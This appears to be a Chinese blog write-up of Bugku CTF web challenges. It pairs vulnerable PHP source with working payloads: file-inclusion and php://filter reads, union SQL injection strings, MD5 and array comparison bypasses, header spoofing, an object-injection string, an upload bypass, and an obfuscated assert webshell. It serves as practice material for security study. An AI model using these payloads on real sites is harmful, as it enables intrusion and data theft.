bugku的题目

矛盾

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

题目要求输入的 不是一个数字或者数字字符串,但是值为1
可以采用 %00截断
知识点是 弱类型比较 当数字与字符串比较或者运算时,会把字符串转换为数字。
https://www.cnblogs.com/Mrsm1th/p/6745532.html
大佬的总结

web3

ascii->unicode

域名解析

令flag.baidu.com 解析到 123.206.87.240 即可
所以1更改hosts文件
2burp suite抓包后将host改为 flag.baidu.com

你必须让他停下

刚开始思路是JS的脚本设定不断刷新,所以我只需要关闭JS脚本,就可以得到答案。关闭后发现图片无法加载。
后试着刷新了几次,发现会返回不同的jpg
当放回10.jpg时会发现flag ,一个不显示的flag,但可以在网页源代码中查看到。

本地包含 **

 

    include "flag.php"; 

    $a = @$_REQUEST['hello']; 

    eval( "var_dump($a);"); 

    show_source(__FILE__); 

?>

includ->导入一个文件
$_request->可以接受get,post,cookie的传值
eval->执行("")里的字符串
show_source()->高亮显示一个文件的代码内容
var_dump() ->输出变量以及值
__ FIFE __->当前文件绝对路径

  1. ?hello=file(“flag.php”) -> 常见的包含方法
  2. ?hello=1);show_source(“flag.php”);var_dump(1
    因为show_source()不需要echo,会直接打印出来
    不局限于show_source()函数。还可以
    ?hello=1);$s=file(“flag.php”);print_r($s);var_dump(1
    只要可以把flag.php打印出来即可
    但是这里使用file_get_contents 与 echo搭配却失败了。
  3. $content = '' echo $content;当这段代码被打印,即echo后,会发现什么shabi输出失败,并且直接退出PHP程序 //题外话
    get传递的参数 ->?hello=1);include(@$_POST[‘z’]
    post 传递的参数z=php://filter/convert.base64-encode/resource=flag.php
    convert.base64,是PHP中的转换过滤器,在PHP5.0.0时添加的

变量1

flag In the variable !   

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

刚看到题目以为是道文件包含的题目,就试试 ?args=file(‘flag1.php’)
查看完代码后发现正则只匹配数字和字母并且最后有一个 $$args,还以为是打错了
$$arg 表示一个可变变量,令$arg=GLOBALS,就输出了超全局变量GLOBALS.(题目是提示flag在变量里)

web5

JSFUCK,一种js的加密。在控制台黏贴代码即可得到答案。注意看题干要求是大写。

头等舱

F12什么都没有,也没有提示。所以burp抓包,发现答案在回包中。

网站被黑

首先黑页是被人黑之后,别人挂上去的html,所以要找到原来的页面,用御剑后台扫描后。shell.php。只有密码框,使用burpsuite暴力破解出密码

管理员系统

第一眼以为是POST注入的题目
输入后发现提示 IP被记录,请使用本地管理员登陆。那么肯定就要用到
X-Forwarded-For:127.0.0.1 这个请求头部了,
后来在最后在F12末尾发现了一个加密的编码base64加密,解密后密码test123

web4**

对js代码了解较少。

flag在index里 **

第一步想的是先试试file=index.php,无法返回
下来想抓包,查看返回是不在响应中,无结果
第三步,百度
这道题与本地包含的题目是有些相似,但是他没有代码执行的eval函数,
并且题目中没有参数,需要自己通过get传递一个参数
所以应该采用php://filter的方式读取文件
?file=php://filter/convert.base64-encode/resource=index.php

<html>
    <title>Bugku-ctf</title>
    

	error_reporting(0);
	if(!$_GET[file]){echo 'click me? no';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
?>
</html>

strstr ->返回某个字符以及以后的字符串
stristr ->不分大小写的返回
上述过滤方法遇到再了解。

输入密码查看flag

burp的暴力破解

点击一百万次**

JS代码了解较少

听说备份是个好习惯

先用御剑扫一下后台,有一个flag.php,里面什么都没有。
应该是文件备份,使用Dir-buster扫描后缀,后缀应该是.php.bak
也可多尝试常见的后缀。


include_once "flag.php"; //文件包含
ini_set("display_errors", 0); //不报错
$str = strstr($_SERVER['REQUEST_URI'], '?');  //返回?以后的内容
$str = substr($str,1); //返回位置1以及以后的内容,也就是去掉问号
$str = str_replace('key','',$str); //把关键字key用空格代替
parse_str($str); //比如传进来的是key=1,那么则变成$key=1
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){ //md5值相等,但是值不相等
echo $flag."取得flag";
}
?>

数组绕过和0e绕过。
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469

成绩单

与sqlilab1的注入区别不大。
先判断闭合为’#
再找判断字段数 1’ order by 4 #
再判断回显位 -1’ union select 5,6,7,8 #
爆出数据库名以及版本 -1’ union select 5,version(),database(),6 #
爆出表名
-1’ union select 1, group_concat(table_name),3,4 from information_schema.tables where table_schema=database() #
爆出列名
-1’ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘fl4g’ #
爆出具体值
-1’ union select 1,2,3,skctf_flag from fl4g #

秋名山老司机**

python request库不是很了解。

速度要快 **

python request库

Cookie欺骗*

看到题目以为是抓包取Cookie的题目。抓包后无果。
发现file=参数,参数通过base64解密后发现是keys.txt,还原后输入没有结果。
那就试试index.php(经过base64解密后)发现还是没有结果
还有另外一个参数line= 输入0,1,后发现会返回代码,应该是源代码的一行。
python request库还没有学,先去网上找了这段代码


 
error_reporting(0);  //不报错
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); 
//确定是否存在传进来的filename,存在就base64解密,否则就把空格解密
$line=isset($_GET['line'])?intval($_GET['line']):0; 
//同理,如果传进来line,整型化,否则就是0
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array( 
'0' =>'keys.txt',
'1' =>'index.php',
);
//如果$file是空格,就把header头显示再url框中,并确立一个数组file_list
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){       //看这里 
$file_list[2]='keys.php'; 
}  
//确定是否存在Cookie值,并且传进的Cookie值为margin,如果是就给$file_list新增一个键与值(也就是flag)
if(in_array($file, $file_list)){ 
$fa = file($file); 
echo $fa[$line]; 
}
//如果$file在$file_list,$fa的值就是文件$file,然后打印文件的第line行
?>

个人感觉最后输出的时候还是要枚py脚本枚举一下行数

never give up

看到?id=1 ,猜想是sql注入,试了几个常见的闭合,发现没有回显。
然后又猜解是爆破,burpsuite试了1-999没有返回。
在源代码里发现有一个1p.html,尝试访问,发现一个跳转。
所以burpsuite抓包。
明显的url加密与base64加密。注释部分是base64,解密后,发现还有一层url加密。
再次解密得到


if(!$_GET['id'])
{
    header('Location: hello.php?id=1');//如果没有id值传入,则返回一个头部
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))//返回字符串中的".",首次出现的位置
{
    echo 'no no no no no no no';   //如果没有 打印nonono,注意如果是首字母是.的话可以绕过
    return ;
}
$data = @file_get_contents($a,'r'); //读取$a内容为字符串
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    //$data的值为bugku is a nice plateform!
    //$id==0弱类型
    //$b长度小于5
    //忽略大小写的匹配字符111$b的首个字符串
    //$b的首个字符串$b的首字母不是4
    //eregi($pattern,$string)
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}
?>

require()是直接显示的函数,不需要赋值并且echo
所以满足的条件
id==0,也就是弱类型的相等,字符串即可
a的值需要是一个字符串,这个可以挂自己的服务器,也可以使用伪协议
php://input
b值我需要将匹配模式改变,也就是把4截取掉,可以采用00截断并且字符串的长度要大于5
所以payload
?id=bb&b=%0012345&a=php://input
post的内容 “bugku is a nice plateform!”
注意%00算一个字符。
php://可以访问请求中的原始数据流

welcome to bugkuctf

又是一道找不到的题目,去网上找到源码

  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"]; 
 
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!
"
; include($file); //hint.php ->这里有提示奥 }else{ echo "you are not admin ! "; } ?>

使用?txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php
post数据 -> welcome to the bugku
然后得到源码

    
class Flag{//flag.php    
    public $file;    
    public function __tostring(){    
        if(isset($this->file)){    
            echo file_get_contents($this->file);   
            echo "
"
; return ("good"); } } } ?>

定义了一个类,这里有魔术方法tostring
这里意思就是打印出来实例化传入的字符串。
这里有个提示,flag.php
下来这个步骤是经验步骤
就是顺势查看index.php,将上面那个hint变成index.php
得到源码

    
$txt = $_GET["txt"];    
$file = $_GET["file"];    
$password = $_GET["password"];       
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){    
    echo "hello friend!
"
; if(preg_match("/flag/",$file)){ echo "不能现在就给你flag哦"; exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?>

发现$file 变量不能有字符串flag,但是又必须读取flag.php。
正好可以通过hint.php
?txt=php://input&file=hint.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
post数据 -> welcome to the bugku

过狗一句话

题目在做的时候已经坏了,flag被删。


$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])
?>

这里用到了assert断言函数。
assert($string),字符串会被当做PHP代码执行,但是与eval本质上有区别
所以可以尝试读取目录
?s=print_r(scandir(’./’));
scandir返回一个 array,包含有 directory 中的文件和目录。
?s=print_r(glob("."))
glob -> 寻找与模式匹配的文件路径
匹配模式与shell相似

字符?正则?

先把正则表达式接出来,解出来后发现蛮复杂的,就以为是道假的正则题目。
但是尝试了一下,真的就是把id的构造一个传入

  
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){ 
  die('key is: '.$key);
}
?> key is: KEY{0x0SIOPh550afc}

/i 忽略大小写
key(0-无穷个任意字符)key(任意字符4到7个)key:/(任意字符一个)/(0-无穷个任意字符)key(a-中任意一个)(一个标点字符)

前女友(SKCTF)

又是一道找不到的题

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

v1与v2值不相等但是md5值相等,可以考虑数组绕过和0e绕过
数组时md5()会返回0
v3与flag相等,结果需要返回一个1,也就是说strcmp要返回一个0,可以无法比较,然后返回一个false
所以
?v1[]=1&v2[]=2&v3[]=3

login1(SKCTF)

你从哪里来

are you from google?
之前有一个误区就是我把User-Agent改了,后来想了想才想起来User-Agent是你从什么浏览器中来的,
所以更改referer 参数就可
referer:https://www.google.com

md5 collision(NUPT_CTF)

题目提示
please input a
以为是POST方法传入一个a -> 返回原网页
尝试PUT方法传入一个 a -> 返回原网页。
尝试?a=1
返回false
题目名称md5 碰撞
所以
?a=0e545993274517709034328855841020 -> false!
?a=s878926199a
返回flag

程序员本地网站

这个题是要求本地访问
可用一个
X-Forwarded-For绕过

各种绕过

 
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])
        print 'passwd can not be uname.';
    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
        die('Flag: '.$flag);
    else
        print 'sorry!';
}
?> 

解读代码
id先进行url解密
然后要求uname值与passwd值不相等但是他们的sha1加密值相等
并且id值等于margin
id值直接传入即可,因为所有字符的的解密值都是本身。
下来使用数组绕过即可
即如果给sha1传入一个数组,返回值就是null
?id=margin&uname[]=1
post -> passwd[]=

WEB8


extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "

This is flag:" ." $flag

"
; } else { echo "

sorry!

"
; } } ?>

extract->可以直接考虑变量覆盖
使$ac===$f就可以
所以直接传参数
?ac=x&f=php://input
post数据 -> x
之前对file_get_contents()有误解,以为他也可以读字符串,后来才知道只能读文件。

细心

提示是想办法变成admin
进去后先对三个链接抓包看回包没有flag
扫描一下后台,发现robots.php
进入/resusl.php
根据提示
?x=admin

求getshell**(做一下uploadlab)

这个题目一看就是文件上传。
但他最奇怪的一点就是他的改包的时候
Content-Type: multipart/form-data;
需要绕过,也就是要有一个大写,可以Multipart/form-data
将filename改成1.php5
(按照提示的话应该改成margin.php5)

INSERT INTO注入

这是一个神奇的登录框

多次

PHP_encrypt_1(ISCCCTF)

文件包含2

flag.php

sql注入2

江湖魔头

js不会

login4

没写的要么题目不见了,要么不会,去看看PHP代码审计的视频和python脚本编写的视频再回来
:D

你可能感兴趣的:(CTF)